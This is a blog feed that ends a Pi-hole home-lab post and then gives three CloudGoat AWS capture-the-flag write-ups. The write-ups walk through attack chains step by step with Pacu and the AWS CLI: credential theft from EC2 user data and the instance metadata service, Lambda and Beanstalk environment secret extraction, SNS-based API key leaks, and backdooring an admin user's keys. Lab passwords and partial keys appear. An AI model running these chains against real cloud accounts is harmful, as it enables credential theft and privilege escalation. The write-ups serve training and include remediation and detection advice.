As I discovered in Part 4, Docker bypasses UFW entirely by manipulating iptables directly. When you bind a port to 0.0.0.0, it's accessible from everywhere regardless of your firewall rules. For HTTP services, I solved this by binding to 127.0.0.1 and proxying through Nginx. But DNS traffic (port 53, UDP/TCP) can't be proxied through Nginx — it's not HTTP traffic, it operates at a completely different protocol layer. So binding to the specific LAN IP (192.168.64.15) is the next best thing: it's reachable from the local network but not from every interface.

Environment Variables

Pi-hole v6 introduced a new configuration system based on pihole.toml and the FTLCONF_ environment variable prefix:

FTLCONF_webserver_api_password: Sets the web admin password. Note that in v6, settings configured via environment variables become read-only — you can't change them from the web UI afterward.
FTLCONF_dns_listeningMode: ALL: Required when running in Docker's default bridge network mode. Without this, Pi-hole would only listen for queries from the container's internal network.
FTLCONF_dns_upstreams: The upstream DNS servers Pi-hole forwards queries to. I'm using Google's 8.8.8.8 and 8.8.4.4.

Volume and Capabilities

The /etc/pihole volume persists Pi-hole's databases and configuration across container recreations. This is important because Pi-hole stores its blocklists, query logs, and settings here.
NET_BIND_SERVICE is the only capability needed — it allows the process to bind to port 53. Other capabilities like NET_ADMIN are only required if you're using Pi-hole as a DHCP server, which I'm not.

🌐 Local DNS Records

This was the part I was most excited about. Instead of maintaining /etc/hosts files on every device, I can now define all my local DNS records in Pi-hole.

Pi-hole v6 and `dns.hosts`

If you've used Pi-hole v5 before, you might remember the custom.list file for local DNS records. In v6, this was replaced entirely. Local DNS records are now stored in Pi-hole's embedded database and managed via the pihole-FTL --config CLI or the API.

The dns.hosts configuration key accepts a JSON array of "IP DOMAIN" strings:

docker exec pihole pihole-FTL --config dns.hosts \
  '["192.168.64.15 home.arcade-lab.io", "192.168.64.15 portainer.arcade-lab.io", "192.168.64.15 grafana.arcade-lab.io", "192.168.64.15 prometheus.arcade-lab.io", "192.168.64.15 transmission.arcade-lab.io", "192.168.64.15 filebrowser.arcade-lab.io", "192.168.64.15 jellyfin.arcade-lab.io", "192.168.64.15 pi-hole.arcade-lab.io"]'

After running this command, all my *.arcade-lab.io subdomains resolve to the server's IP. Any device on my network that uses Pi-hole as its DNS server can now access:

https://portainer.arcade-lab.io — Container management
https://grafana.arcade-lab.io — Monitoring dashboards
https://prometheus.arcade-lab.io — Metrics
https://transmission.arcade-lab.io — BitTorrent client
https://filebrowser.arcade-lab.io — File browser
https://jellyfin.arcade-lab.io — Media streaming
https://pi-hole.arcade-lab.io — Pi-hole admin itself

No more editing hosts files on every device. Add a new service, update the DNS records in one place, and every device on the network picks it up automatically.

🤖 Automating with Ansible

As with everything else in my home lab, I automated the entire Pi-hole setup with Ansible. The playbook handles all the steps described above: disabling the systemd-resolved stub listener, deploying the container, and configuring local DNS records via the Pi-hole CLI. I also externalized all the configuration into a separate variables file, keeping things consistent with how I manage my other services.

The local DNS records are defined as a simple list in the variables file:

pihole_local_dns_records:
  - domain: home.arcade-lab.io
  - domain: portainer.arcade-lab.io
  - domain: grafana.arcade-lab.io
  - domain: prometheus.arcade-lab.io
  - domain: transmission.arcade-lab.io
  - domain: filebrowser.arcade-lab.io
  - domain: jellyfin.arcade-lab.io
  - domain: pi-hole.arcade-lab.io

The playbook builds this list into a JSON array at runtime and compares it against the existing records in Pi-hole. Records are only updated when they differ from the desired state, making the playbook fully idempotent — I can run it as many times as I want without side effects.

🔧 Connecting Devices

The last step is telling devices on the network to use Pi-hole for DNS. The easiest way is to configure your router's DHCP settings to hand out 192.168.64.15 as the primary DNS server. That way, every device that connects to the network automatically uses Pi-hole.

Alternatively, you can configure DNS on individual devices:

macOS: System Settings → Wi-Fi → Details → DNS → set 192.168.64.15
iOS: Settings → Wi-Fi → (i) → Configure DNS → Manual → 192.168.64.15
Linux: Edit your Netplan or /etc/resolv.conf to set nameserver 192.168.64.15
Windows: Network adapter settings → IPv4 → Preferred DNS server → 192.168.64.15

🎉 Outcome

With Pi-hole running, I now have:

Network-wide ad blocking — every device on my network benefits from blocked ads and trackers without installing anything.
Centralized local DNS — all my *.arcade-lab.io subdomains resolve correctly from any device, managed in one place.
A nice dashboard — the Pi-hole web interface at https://pi-hole.arcade-lab.io shows me exactly what's happening on my network: how many queries are being made, what's being blocked, and which domains are the most popular.

Noice! 🎉

You can also read this post on my portfolio page.

🥷 CloudGoat: Data Secrets: Write-up: Exploiting EC2 User Data and IMDS to escalate privileges

denesbeck — Mon, 16 Mar 2026 10:09:33 +0000

🥷 CloudGoat: Data Secrets

Write-up: Exploiting EC2 User Data and IMDS to escalate privileges

🧭 Overview

Scenario: data_secrets \
Platform: CloudGoat (Rhino Security Labs) \
Tools: Pacu + AWS CLI + SSH \
Objective: Steal credentials through EC2 User Data, leverage IMDS to escalate, enumerate Lambda functions, and retrieve the flag from Secrets Manager.

⚔️ Attack Path Summary

Limited User → EC2 Enum → User Data Leak → SSH Access → IMDS Token Theft → Lambda Enum → DB Credentials → Secrets Manager → Flag

🔑 Phase 1: Initial Access

Configure Profile

aws configure --profile data_secrets
# Access Key: AKIA****************
# Secret Key: dHQo/hANNyGHxSCBhOmN********************

Validate Credentials

aws sts get-caller-identity --profile data_secrets

{
  "UserId": "AIDA****************",
  "Account": "7912********",
  "Arn": "arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh"
}

🔎 Phase 2: IAM Enumeration

Launch Pacu and Import Keys

pacu

Pacu > import_keys data_secrets

Enumerate Permissions

Pacu > run iam__bruteforce_permissions --region us-east-1

[iam__bruteforce_permissions] Enumerated IAM Permissions:
[iam__bruteforce_permissions]   ec2.describe_instances() worked!
[iam__bruteforce_permissions]   ec2.describe_tags() worked!
[iam__bruteforce_permissions]   dynamodb.describe_endpoints() worked!
[iam__bruteforce_permissions]   sts.get_session_token() worked!
[iam__bruteforce_permissions]   sts.get_caller_identity() worked!

[iam__bruteforce_permissions] MODULE SUMMARY:

Num of IAM permissions found: 5

View Confirmed Permissions

Pacu > whoami

{
  "UserName": "cg-start-user-cgido7xwddyilh",
  "Arn": "arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh",
  "Permissions": {
    "Allow": [
      "ec2:DescribeTags",
      "ec2:DescribeInstances",
      "sts:GetSessionToken",
      "sts:GetCallerIdentity",
      "dynamodb:DescribeEndpoints"
    ]
  }
}

Key Findings

Service	Permissions	Note
EC2	`DescribeInstances`, `DescribeTags`	Can enumerate EC2 instances and metadata
STS	`GetCallerIdentity`, `GetSessionToken`	Can verify identity
DynamoDB	`DescribeEndpoints`	Low impact

The ability to describe EC2 instances is the key to exploiting this scenario.

🖥️ Phase 3: EC2 Enumeration and User Data Extraction

Discover EC2 Instances

Pacu > run ec2__enum --region us-east-1

[ec2__enum]   1 instance(s) found.
[ec2__enum]   1 public IP address(es) found and added to text file

Extract Public IP

Pacu saves the IP to: ~/.local/share/pacu/data_secrets/downloads/ec2_public_ips_data_secrets_us-east-1.txt

Public IP: 13.***.***.***

Download User Data

Pacu > help ec2__download_userdata
Pacu > run ec2__download_userdata

Select target region when prompted: us-east-1

View User Data Content

Pacu downloads User Data to: ~/.local/share/pacu/data_secrets/downloads/ec2_user_data/

#!/bin/bash
echo "ec2-user:CloudGoatInstancePassword!" | chpasswd
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
service sshd restart

Critical Findings

Artifact	Value
EC2 Instance ID	`i-0827322ea4150fec3`
Public IP	`13.*..**`
SSH Username	`ec2-user`
SSH Password	`CloudGoatInstancePassword!`

The User Data script reveals hardcoded SSH credentials, a critical misconfiguration.

🔐 Phase 4: SSH Access and IMDS Token Theft

Connect to EC2 Instance

ssh ec2-user@13.***.***.***
# Password: CloudGoatInstancePassword!

Get IMDSv2 Token

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

Retrieve IAM Role Name

ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/)

echo $ROLE_NAME

Output: cg-ec2-role-cgido7xwddyilh

Steal Temporary Credentials

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME

{
  "Code": "Success",
  "AccessKeyId": "ASIA****************",
  "SecretAccessKey": "f7vFfkcw9iuwNF2mOYPzjw********************",
  "Token": "IQoJb3JpZ2luX2VjEDwaCXVzLWVhc3QtMSJI..."
}

Configure EC2 Role Profile

aws configure --profile ec2_profile
# Access Key: ASIA****************
# Secret Key: f7vFfkcw9iuwNF2mOYPz********************
# Session Token: (paste the full token)

Validate EC2 Role Credentials

aws sts get-caller-identity --profile ec2_profile

{
  "UserId": "AROA3QN6JWS34Z26XSFIZ:i-0827322ea4150fec3",
  "Account": "7912********",
  "Arn": "arn:aws:sts::7912********:assumed-role/cg-ec2-role-cgido7xwddyilh/i-0827322ea4150fec3"
}

Critical Findings

Artifact	Value
Temporary Access Key	`ASIA****************`
Temporary Secret Key	`f7vFfkcw9iuwNF2mOYPzjwe********************`
Session Token	(Long-lived temporary credential)

Successfully escalated from IAM user to EC2 instance role.

📊 Phase 5: Enumerate EC2 Role Permissions

Import EC2 Profile to Pacu

pacu

Pacu > import_keys ec2_profile
Pacu > run iam__bruteforce_permissions --region us-east-1

[iam__bruteforce_permissions]   dynamodb.describe_endpoints() worked!
[iam__bruteforce_permissions]   sts.get_caller_identity() worked!
[iam__bruteforce_permissions]   lambda.list_functions() worked!

[iam__bruteforce_permissions] MODULE SUMMARY:

Num of IAM permissions found: 3

View EC2 Role Permissions

Pacu > whoami

{
  "AccessKeyId": "ASIA****************",
  "Permissions": {
    "Allow": [
      "dynamodb:DescribeEndpoints",
      "sts:GetCallerIdentity",
      "lambda:ListFunctions"
    ]
  }
}

Key Finding

The EC2 role can enumerate Lambda functions, potentially exposing sensitive configuration data such as environment variables.

🔍 Phase 6: Lambda Enumeration and Credential Discovery

List Lambda Functions

Pacu > search lambda
Pacu > help lambda__enum
Pacu > run lambda__enum --region us-east-1

[lambda__enum]   Enumerating data for cg-lambda-function-cgido7xwddyilh
    [+] Secret (ENV): DB_USER_ACCESS_KEY= AKIA****************
    [+] Secret (ENV): DB_USER_SECRET_KEY= zHq6/a2/cotXfMhK2bvv********************
[lambda__enum] 1 functions found in us-east-1

Critical Findings

Environment Variable	Value
`DB_USER_ACCESS_KEY`	`AKIA****************`
`DB_USER_SECRET_KEY`	`zHq6/a2/cotXfMhK2bvv/py********************

The Lambda function's environment variables contain hardcoded AWS credentials for a database user.

💾 Phase 7: Final Privilege Escalation via Lambda Credentials

Configure Lambda User Profile

`bash
aws configure --profile lambda_profile

Access Key: AKIA****************

Secret Key: zHq6/a2/cotXfMhK2bvv********************

Enumerate Lambda User Permissions

bash pacu

console Pacu > import_keys lambda_profile Pacu > run iam__bruteforce_permissions --region us-east-1

`console
[iam_bruteforce_permissions] dynamodb.describe_endpoints() worked!
[iambruteforce_permissions] secretsmanager.list_secrets() worked!
[iambruteforce_permissions] sts.get_session_token() worked!
[iam_bruteforce_permissions] sts.get_caller_identity() worked!

[iam__bruteforce_permissions] MODULE SUMMARY:

Num of IAM permissions found: 4
`

View Lambda User Permissions

console Pacu > whoami

json { "UserName": "cg-lambda-user-cgido7xwddyilh", "Arn": "arn:aws:iam::7912********:user/cg-lambda-user-cgido7xwddyilh", "Permissions": { "Allow": [ "dynamodb:DescribeEndpoints", "sts:GetSessionToken", "sts:GetCallerIdentity", "secretsmanager:ListSecrets" ] } }

Key Finding

The Lambda user can enumerate Secrets Manager resources, enabling discovery of sensitive stored data.

🚩 Phase 8: Capture the Flag

List Secrets Manager Secrets

console Pacu > search secret Pacu > help secrets__enum Pacu > run secrets__enum --region us-east-1

console [secrets__enum] Starting region us-east-1... [secrets__enum] Found secret: cg-final-flag-cgido7xwddyilh [secrets__enum] 1 Secret(s) were found in AWS secretsmanager

Retrieve the Flag

bash cat ~/.local/share/pacu/lambda_profile/downloads/secrets/secrets_manager/secrets.txt

json cg-final-flag-cgido7xwddyilh: {"flag":"d4t4_s3cr3ts_4r3_fun"}

Flag: d4t4_s3cr3ts_4r3_fun

📐 Attack Chain Diagram

plaintext ┌──────────────────────┐ │ Limited IAM User │ │ (data_secrets) │ └──────────┬───────────┘ │ ec2:DescribeInstances │ ec2:DescribeTags ▼ ┌──────────────────────┐ │ EC2 Instance Found │ │ Public IP: 13.*.*.* │ └──────────┬───────────┘ │ ec2__download_userdata ▼ ┌──────────────────────┐ │ User Data Leak │ │ SSH Credentials │ └──────────┬───────────┘ │ SSH ec2-user@IP ▼ ┌──────────────────────┐ │ SSH Access Gained │ │ On EC2 Instance │ └──────────┬───────────┘ │ IMDS Token (IMDSv2) │ /latest/meta-data/iam/ │ security-credentials/ ▼ ┌──────────────────────┐ │ EC2 Role Creds │ │ Temporary Session │ └──────────┬───────────┘ │ lambda:ListFunctions ▼ ┌──────────────────────┐ │ Lambda Functions │ │ Environment Vars │ └──────────┬───────────┘ │ ▼ ┌──────────────────────┐ │ DB User Credentials │ │ Hidden in Lambda │ └──────────┬───────────┘ │ secretsmanager:ListSecrets ▼ ┌──────────────────────┐ │ Secrets Manager │ │ Final Flag Found │ └──────────┬───────────┘ │ ▼ ┌──────────────────────┐ │ FLAG │ │ d4t4_s3cr3ts_4r3_fun │ └──────────────────────┘

🚨 Vulnerabilities Exploited

#	Vulnerability	CWE	CVSS
1	Hardcoded SSH credentials in EC2 User Data	CWE-798	9.8
2	Improper Privilege Management	CWE-269	7.5
3	Hardcoded AWS credentials in Lambda environment variables	CWE-798	9.8
4	Overly permissive IAM role on EC2 instance	CWE-732	8.2
5	Insufficient access controls on Secrets Manager	CWE-732	7.1

🧩 Architectural Failures

Trusting User Data with secrets
Treating Lambda environment variables as secure storage
Allowing credential sprawl between services
Over-permissioned instance role
No separation between compute identity and data access

💡 Remediation

Never store secrets in EC2 User Data
- Use AWS Systems Manager Session Manager for remote access
- If SSH is required, use EC2 Instance Connect or Systems Manager Session Manager
- Use key pairs instead of hardcoded passwords
Disable or restrict IMDSv1
`bash

Force IMDSv2 only for new instances

aws ec2 run-instances \
--metadata-options "HttpTokens=required,HttpPutResponseHopLimit=1"
`
Never store AWS credentials in environment variables
- Use IAM roles attached to resources
- Use AWS Secrets Manager for application secrets
- Use Parameter Store for configuration
Implement least privilege for IAM roles
json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "lambda:GetFunction", "Resource": "arn:aws:lambda:*:*:function/specific-function" } ] }
Monitor and alert on suspicious activities
- Enable CloudTrail logging for all API calls
- Monitor CloudTrail for anomalous role assumption patterns or unusual Secrets Manager access originating from EC2 roles.
- Monitor for unusual EC2 access patterns
Enable encryption for secrets at rest and in transit
- Use KMS encryption for Secrets Manager
- Enforce TLS for all API communications
- Enable encryption for EC2 volumes

🔎 Detection & Monitoring Opportunities

CloudTrail Monitoring
- DescribeInstances from low-privileged IAM users
- ListFunctions from EC2 instance roles -ListSecrets and GetSecretValue from unexpected principals
GuardDuty Alerts
- Instance credential exfiltration behavior
- Unusual role assumption patterns
IAM Access Analyzer
- Detect over-permissioned roles
- Identify unused permissions
VPC Flow Logs
- Monitor access to 169.254.169.254 (metadata endpoint)

🎯 MITRE ATT&CK Mapping

Tactic	Technique	ID
Initial Access	Valid Accounts: Cloud Accounts	T1078.004
Discovery	Cloud Service Discovery	T1526
Credential Access	Unsecured Credentials: Credentials in Files / Environment Variables	T1552.001
Credential Access	Cloud Instance Metadata API	T1552.005
Lateral Movement	Use Alternate Authentication Material: Cloud Credentials	T1550.001
Privilege Escalation	Valid Accounts: Cloud Accounts	T1078.004

🛠️ Commands Reference

AWS CLI

`bash

Initial enumeration

aws configure --profile data_secrets
aws sts get-caller-identity --profile data_secrets

EC2 enumeration

aws ec2 describe-instances --profile data_secrets --region us-east-1
aws ec2 describe-tags --profile data_secrets --region us-east-1

Configure additional profiles

aws configure --profile ec2_profile
aws configure --profile lambda_profile

Validate credentials

aws sts get-caller-identity --profile ec2_profile
aws sts get-caller-identity --profile lambda_profile
`

SSH and IMDS

`bash

SSH access

ssh ec2-user@

IMDSv2 token (within EC2 instance)

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

Get IAM role name

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/

Get temporary credentials

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
`

Pacu Commands

`bash

Session and key management

import_keys
whoami
swap_session

Enumeration

run iam_bruteforce_permissions --region us-east-1
run ec2enum --region us-east-1
run ec2download_userdata
run lambdaenum --region us-east-1
run secrets_enum --region us-east-1
`

📚 Additional Resources

🎓 Key Takeaways

Defense in Depth: Multiple misconfigurations were chained together to achieve full compromise
Credential Leakage: Secrets stored in plain text (User Data, environment variables) are easily discovered
IMDS Exposure Risk: Instance role credentials are accessible from within the host by design; therefore, any host compromise effectively becomes a role compromise, underscoring the need for strict least-privilege policies on instance roles.
Role Enumeration: Discovering attached roles and their permissions reveals the attack surface
Lateral Movement: Each compromised credential opens new exploitation paths

You can also read this post on my portfolio page.

🥷 CloudGoat: SNS Secrets: Write-up: Exploiting SNS subscriptions to leak API keys

denesbeck — Mon, 16 Mar 2026 10:04:29 +0000

🥷 CloudGoat: SNS Secrets

Write-up: Exploiting SNS subscriptions to leak API keys

🧭 Overview

Scenario: sns_secrets \
Platform: CloudGoat (Rhino Security Labs) \
Tools: Pacu + AWS CLI \
Objective: Enumerate SNS topics, subscribe to leak secrets, and access protected API Gateway endpoints.

⚔️ Attack Path Summary

SNS User → IAM Enum → SNS Enum → Subscribe to Topic → Receive API Key → API Gateway Enum → Access Protected Endpoint → Flag

🔑 Phase 1: Initial Access

Configure Profile

aws configure --profile sns_secrets
# Access Key: AKIA****************
# Secret Key: 7C30FWO69LHE8JZt7RcZ********************

Validate Credentials

aws sts get-caller-identity --profile sns_secrets

{
  "UserId": "AIDA****************",
  "Account": "7912********",
  "Arn": "arn:aws:iam::7912********:user/cg-sns-user-cgid38umo4q95r"
}

🔎 Phase 2: IAM Enumeration

Launch Pacu and Import Keys

pacu

Pacu > import_keys sns_secrets

Enumerate Permissions

Pacu > run iam__enum_permissions
Pacu > whoami

{
  "UserName": "cg-sns-user-cgid38umo4q95r",
  "Permissions": {
    "Allow": {
      "sns:listsubscriptionsbytopic": { "Resources": ["*"] },
      "sns:gettopicattributes": { "Resources": ["*"] },
      "sns:receive": { "Resources": ["*"] },
      "sns:subscribe": { "Resources": ["*"] },
      "sns:listtopics": { "Resources": ["*"] },
      "apigateway:get": { "Resources": ["*"] }
    },
    "Deny": {
      "apigateway:get": {
        "Resources": [
          "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration",
          "arn:aws:apigateway:us-east-1::/apikeys",
          "arn:aws:apigateway:us-east-1::/apikeys/*"
        ]
      }
    }
  }
}

Key Findings

Service	Permissions	Note
SNS	`listtopics`, `subscribe`, `receive`	Can subscribe to topics
API Gateway	`get` (with denies)	Can enumerate APIs but not keys directly

The explicit deny on /apikeys and /apikeys/* suggests there are API keys we're not supposed to access directly. But can we get them another way?

📬 Phase 3: SNS Enumeration

Discover SNS Topics

Pacu > run sns__enum --regions us-east-1

[sns__enum] Starting region us-east-1...
[sns__enum]   Found 1 topics

View Enumerated Data

Pacu > data

{
  "SNS": {
    "sns": {
      "us-east-1": {
        "arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r": {
          "Owner": "7912********",
          "SubscriptionsConfirmed": "0",
          "SubscriptionsPending": "0"
        }
      }
    }
  }
}

Found: arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r

🔔 Phase 4: Subscribe to SNS Topic

Subscribe with Email

Pacu > run sns__subscribe \
  --topics arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r \
  --email my-email@example.com

After confirming the subscription, the SNS topic publishes a message containing the leaked API key:

API Key: 45a3da610dc64703b10e273a4db135bf

🌐 Phase 5: API Gateway Enumeration

List REST APIs

aws apigateway get-rest-apis --profile sns_secrets --region us-east-1

{
  "items": [
    {
      "id": "gfal9z7rki",
      "name": "cg-api-cgid38umo4q95r",
      "description": "API for demonstrating leaked API key scenario"
    }
  ]
}

Get Stages

aws apigateway get-stages \
  --rest-api-id gfal9z7rki \
  --profile sns_secrets \
  --region us-east-1

{
  "item": [
    {
      "stageName": "prod-cgid38umo4q95r"
    }
  ]
}

Get Resources

aws apigateway get-resources \
  --rest-api-id gfal9z7rki \
  --profile sns_secrets \
  --region us-east-1

{
  "items": [
    {
      "id": "1wq00q",
      "pathPart": "user-data",
      "path": "/user-data",
      "resourceMethods": { "GET": {} }
    },
    {
      "id": "n20xrta7ec",
      "path": "/"
    }
  ]
}

Construct API URL

API Gateway URL format: https://{api-id}.execute-api.{region}.amazonaws.com/{stage}{resource-path}

Endpoint: https://gfal9z7rki.execute-api.us-east-1.amazonaws.com/prod-cgid38umo4q95r/user-data

🚩 Phase 6: Capture the Flag

Call Protected Endpoint

curl -X GET \
  https://gfal9z7rki.execute-api.us-east-1.amazonaws.com/prod-cgid38umo4q95r/user-data \
  -H "x-api-key: 45a3da610dc64703b10e273a4db135bf"

{
  "final_flag": "FLAG{SNS_S3cr3ts_ar3_FUN}",
  "message": "Access granted",
  "user_data": {
    "email": "SuperAdmin@notarealemail.com",
    "password": "p@ssw0rd123",
    "user_id": "1337",
    "username": "SuperAdmin"
  }
}

📐 Attack Chain Diagram

┌─────────────────────┐
│     SNS User        │
│  (sns_secrets)      │
└──────────┬──────────┘
           │ iam__enum_permissions
           ▼
┌─────────────────────┐
│  Discovered Perms   │
│  - SNS: subscribe   │
│  - API GW: get      │
└──────────┬──────────┘
           │ sns__enum
           ▼
┌─────────────────────┐
│   SNS Topic Found   │
│  public-topic-*     │
└──────────┬──────────┘
           │ sns__subscribe (email)
           ▼
┌─────────────────────┐
│  Leaked API Key     │
│  via SNS message    │
└──────────┬──────────┘
           │ apigateway:get
           ▼
┌─────────────────────┐
│  API GW Enumerated  │
│  /user-data GET     │
└──────────┬──────────┘
           │ curl with x-api-key
           ▼
┌─────────────────────┐
│       FLAG          │
└─────────────────────┘

🚨 Vulnerabilities Exploited

#	Vulnerability	CWE
1	Sensitive data exposed via SNS topic subscription	CWE-200
2	API key leaked through notification service	CWE-522
3	Overly permissive SNS subscription policy	CWE-732

💡 Remediation

Never publish secrets via SNS - API keys, credentials, and sensitive data should never be distributed through notification services
Restrict SNS subscription permissions - Limit who can subscribe to topics:

   {
     "Effect": "Deny",
     "Principal": "*",
     "Action": "sns:Subscribe",
     "Resource": "arn:aws:sns:*:*:*",
     "Condition": {
       "StringNotEquals": {
         "aws:PrincipalAccount": "YOUR_ACCOUNT_ID"
       }
     }
   }

Use AWS Secrets Manager for API keys - Rotate and manage API keys securely
Enable SNS topic encryption - Use KMS to encrypt messages at rest
Monitor SNS subscriptions - Alert on new subscriptions to sensitive topics

🎯 MITRE ATT&CK Mapping

Tactic	Technique	ID
Discovery	Cloud Service Discovery	T1526
Collection	Data from Cloud Storage	T1530
Credential Access	Unsecured Credentials	T1552
Initial Access	Valid Accounts: Cloud Accounts	T1078.004

🛠️ Commands Reference

# IAM Enumeration (Pacu)
import_keys <profile>
run iam__enum_permissions
whoami

# SNS Enumeration (Pacu)
run sns__enum --regions us-east-1
data

# SNS Subscribe (Pacu)
run sns__subscribe --topics <topic-arn> --email <email>

# API Gateway Enumeration (AWS CLI)
aws apigateway get-rest-apis --profile <profile> --region <region>
aws apigateway get-stages --rest-api-id <api-id> --profile <profile> --region <region>
aws apigateway get-resources --rest-api-id <api-id> --profile <profile> --region <region>

# Call API Gateway with API Key
curl -X GET <api-url> -H "x-api-key: <api-key>"

You can also read this post on my portfolio page.

🥷 CloudGoat: Beanstalk Secrets (Pacu): Write-up: From low-privilege user to admin (Pacu approach)

denesbeck — Mon, 16 Mar 2026 10:04:25 +0000

🥷 CloudGoat: Beanstalk Secrets (Pacu)

Write-up: From low-privilege user to admin (Pacu approach)

🧭 Overview

Scenario: beanstalk_secrets \
Platform: CloudGoat (Rhino Security Labs) \
Tools: Pacu - AWS Exploitation Framework \
Objective: Extract secrets from Elastic Beanstalk, escalate to admin, and retrieve the flag.

⚔️ Attack Path Summary

Low-Priv User → Beanstalk Enum → Secondary Creds → IAM Enum → Privesc Scan → CreateAccessKey → Admin → Flag

🔑 Phase 1: Initial Access

Configure Low-Privilege Profile

aws configure --profile ebs-1
# Access Key: AKIA****************
# Secret Key: L2kgjSenMDGZyJeiySZW********************

Launch Pacu and Import Keys

pacu

Pacu > import_keys ebs-1

Validate Session

Pacu > whoami

{
  "AccessKeyId": "AKIA****************",
  "SecretAccessKey": "L2kgjSenMDGZyJeiySZW********************",
  "KeyAlias": "imported-ebs-1"
}

🔎 Phase 2: Elastic Beanstalk Enumeration

Discover Available Modules

Pacu > ls
Pacu > search beanstalk
Pacu > help elasticbeanstalk__enum

Run Enumeration

Pacu > run elasticbeanstalk__enum --region us-east-1

[elasticbeanstalk__enum] Enumerating BeanStalk data in region us-east-1...
[elasticbeanstalk__enum]   1 application(s) found in us-east-1.
[elasticbeanstalk__enum]   1 environment(s) found in us-east-1.
    Potential secret in environment variable: SSHSourceRestriction => tcp,22,22,0.0.0.0/0
    Potential secret in environment variable: EnvironmentVariables => SECONDARY_SECRET_KEY=ZTh2BV46l3PBNkEFNfnZ********************,PYTHONPATH=/var/app/venv/staging-LQM1lest/bin,SECONDARY_ACCESS_KEY=AKIA****************
    Potential secret in environment variable: SECONDARY_ACCESS_KEY => AKIA****************
[elasticbeanstalk__enum]   3 potential secret(s) found in config settings.

Secret Name	Value
`SECONDARY_ACCESS_KEY`	`AKIA****************`
`SECONDARY_SECRET_KEY`	`ZTh2BV46l3PBNkEFNfnZ********************`

Credentials extracted from environment variables.

🔍 Phase 3: Initial User Permission Analysis

Bruteforce Permissions

Pacu > search iam
Pacu > run iam__bruteforce_permissions --region us-east-1

[iam__bruteforce_permissions] Starting permission enumeration for access-key-id "AKIA****************"
[iam__bruteforce_permissions] -- Account ARN : arn:aws:iam::7912********:user/cgid135wosdg8e_low_priv_user
[iam__bruteforce_permissions] -- sts.get_session_token() worked!
[iam__bruteforce_permissions] -- sts.get_caller_identity() worked!
[iam__bruteforce_permissions] -- ec2.describe_subnets() worked!
[iam__bruteforce_permissions] -- dynamodb.describe_endpoints() worked!

Permission	Significance
`sts:GetCallerIdentity`	Credentials are valid
`sts:GetSessionToken`	Can request temporary credentials (MFA not enforced)
`ec2:DescribeSubnets`	Infrastructure recon data
`dynamodb:DescribeEndpoints`	Low impact

👤 Phase 4: Pivot to Secondary User

Configure and Import Secondary Credentials

aws configure --profile ebs-2
# Access Key: AKIA****************
# Secret Key: ZTh2BV46l3PBNkEFNfnZ********************

Pacu > swap_session
Pacu > import_keys ebs-2
Pacu > whoami

🗄️ Phase 5: Secondary User IAM Enumeration

Bruteforce Permissions

Pacu > run iam__bruteforce_permissions --region us-east-1

[iam__bruteforce_permissions] User "cgid135wosdg8e_secondary_user" has 1 attached policies
[iam__bruteforce_permissions] -- Policy "cgid135wosdg8e_secondary_policy"
[iam__bruteforce_permissions] -- iam.list_users() worked!
[iam__bruteforce_permissions] -- iam.list_policies() worked!
[iam__bruteforce_permissions] -- iam.list_roles() worked!

Found users:

Username	Note
`cgid135wosdg8e_admin_user`	Target
`cgid135wosdg8e_low_priv_user`	Initial access
`cgid135wosdg8e_secondary_user`	Current user

Enumerate Detailed Permissions

Pacu > run iam__enum_permissions
Pacu > whoami

{
  "UserName": "cgid135wosdg8e_secondary_user",
  "Permissions": {
    "Allow": {
      "iam:createaccesskey": { "Resources": ["*"] },
      "iam:listusers": { "Resources": ["*"] },
      "iam:getpolicy": { "Resources": ["*"] },
      "iam:getpolicyversion": { "Resources": ["*"] },
      "iam:listroles": { "Resources": ["*"] },
      "iam:listattacheduserpolicies": { "Resources": ["*"] }
    }
  }
}

Critical Finding

Permission	Resource	Impact
`iam:CreateAccessKey`	`*` (wildcard)	Can create access keys for ANY user

💥 Phase 6: Privilege Escalation

Scan for Escalation Paths

Pacu > search privesc
Pacu > run iam__privesc_scan --scan-only

[iam__privesc_scan] Escalation methods for current user:
[iam__privesc_scan]   CONFIRMED: CreateAccessKey
[iam__privesc_scan]   POTENTIAL: AttachUserPolicy
[iam__privesc_scan]   POTENTIAL: CreateLoginProfile
[iam__privesc_scan]   POTENTIAL: CreateNewPolicyVersion
[...]

Execute Privilege Escalation

Pacu > run iam__privesc_scan --user-methods CreateAccessKey

[iam__privesc_scan] Found 3 user(s). Choose a user below.
[iam__privesc_scan]   [0] Other (Manually enter user name)
[iam__privesc_scan]   [1] cgid135wosdg8e_admin_user
[iam__privesc_scan]   [2] cgid135wosdg8e_low_priv_user
[iam__privesc_scan]   [3] cgid135wosdg8e_secondary_user
[iam__privesc_scan] Choose an option: 1

[iam__backdoor_users_keys] Backdoor the following users?
[iam__backdoor_users_keys]   cgid135wosdg8e_admin_user
[iam__backdoor_users_keys]     Access Key ID: AKIA****************
[iam__backdoor_users_keys]     Secret Key: fswAMaOCaa6Fxdxc4ii8********************
[iam__privesc_scan] Privilege escalation was successful

🚩 Phase 7: Capture the Flag

Configure Admin Profile and Switch Session

aws configure --profile admin

Pacu > swap_session
Pacu > import_keys admin

Enumerate Secrets

Pacu > search secret
Pacu > run secrets__enum --region us-east-1

[secrets__enum] Starting region us-east-1...
[secrets__enum]  Found secret: cgid135wosdg8e_final_flag
[secrets__enum] secrets__enum completed.

[secrets__enum] MODULE SUMMARY:
    1 Secret(s) were found in AWS secretsmanager
